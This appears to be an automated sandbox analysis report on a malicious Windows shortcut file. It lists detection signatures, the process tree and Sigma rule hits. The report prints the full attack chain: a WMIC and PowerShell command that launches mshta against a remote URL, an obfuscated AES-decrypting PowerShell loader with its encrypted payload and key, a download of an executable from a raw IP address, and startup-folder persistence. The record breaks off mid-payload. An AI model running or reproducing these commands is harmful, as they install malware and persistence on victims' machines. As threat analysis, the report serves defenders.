Edit tour

Windows Analysis Report
nTyPEbq9wQ.lnk

Overview

General Information

Sample name:	nTyPEbq9wQ.lnk renamed because original name is a hash value
Original sample name:	3f07684c8928f37a94395ac341b222b4.lnk
Analysis ID:	1579759
MD5:	3f07684c8928f37a94395ac341b222b4
SHA1:	c55ac3e96ec0c1e9310059ef9862f1f142b37091
SHA256:	76a557c2ff0701d6c2631ac16582c07df84695b64d1fdd1901c1b14479a9f991
Tags:	lnkuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Bypasses PowerShell execution policy

Contains functionality to create processes via WMI

Creates processes via WMI

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: Execution of Powershell Script in Public Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Process Created Via Wmic.EXE

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows shortcut file (LNK) contains suspicious command line arguments

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

WMIC.exe (PID: 2452 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 1704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6592 cmdline: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh') MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5860 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh" MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 2764 cmdline: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 1820 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 3108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2820 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

PefjSkkhb.exe (PID: 7604 cmdline: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" MD5: 567DE19C0E7E3A1FC845E51AC1C1D5D8)

powershell.exe (PID: 7680 cmdline: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8348 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Guard.exe (PID: 8788 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 8832 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 2376 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 5508 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate --single-argument C:\Users\user\AppData\Roaming\New_2025.webp MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3856 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

wscript.exe (PID: 8924 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SwiftWrite.pif (PID: 8980 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1820	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa9139:$b1: ::WriteAllBytes( 0x18886a:$b1: ::WriteAllBytes( 0x189000:$b1: ::WriteAllBytes( 0xc925f:$b3: ::UTF8.GetString( 0xc9df0:$b3: ::UTF8.GetString( 0x12a375:$b3: ::UTF8.GetString( 0x14cc0c:$b3: ::UTF8.GetString( 0x14d79d:$b3: ::UTF8.GetString( 0x14ff30:$b3: ::UTF8.GetString( 0x151879:$b3: ::UTF8.GetString( 0x159d33:$b3: ::UTF8.GetString( 0x1a39b1:$b3: ::UTF8.GetString( 0x1a3ff2:$b3: ::UTF8.GetString( 0x1d08dd:$b3: ::UTF8.GetString( 0x1d148a:$b3: ::UTF8.GetString( 0x1d2242:$b3: ::UTF8.GetString( 0x1d2fad:$b3: ::UTF8.GetString( 0x1d6217:$b3: ::UTF8.GetString( 0x1df058:$b3: ::UTF8.GetString( 0x1eb32d:$b3: ::UTF8.GetString( 0x1ec006:$b3: ::UTF8.GetString(

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8348, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 8788, ProcessName: Guard.exe

Sigma detected: Execution of Powershell Script in Public Folder

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 8348, ProcessName: powershell.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 8788, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 8832, ProcessName: cmd.exe

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh, CommandLine: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5860, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh, ProcessId: 2764, ProcessName: mshta.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 8348, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Subst

Sigma detected: Suspicious Process Created Via Wmic.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", ProcessId: 2452, ProcessName: WMIC.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 8924, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7680, TargetFilename: C:\Users\Public\Guard.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A77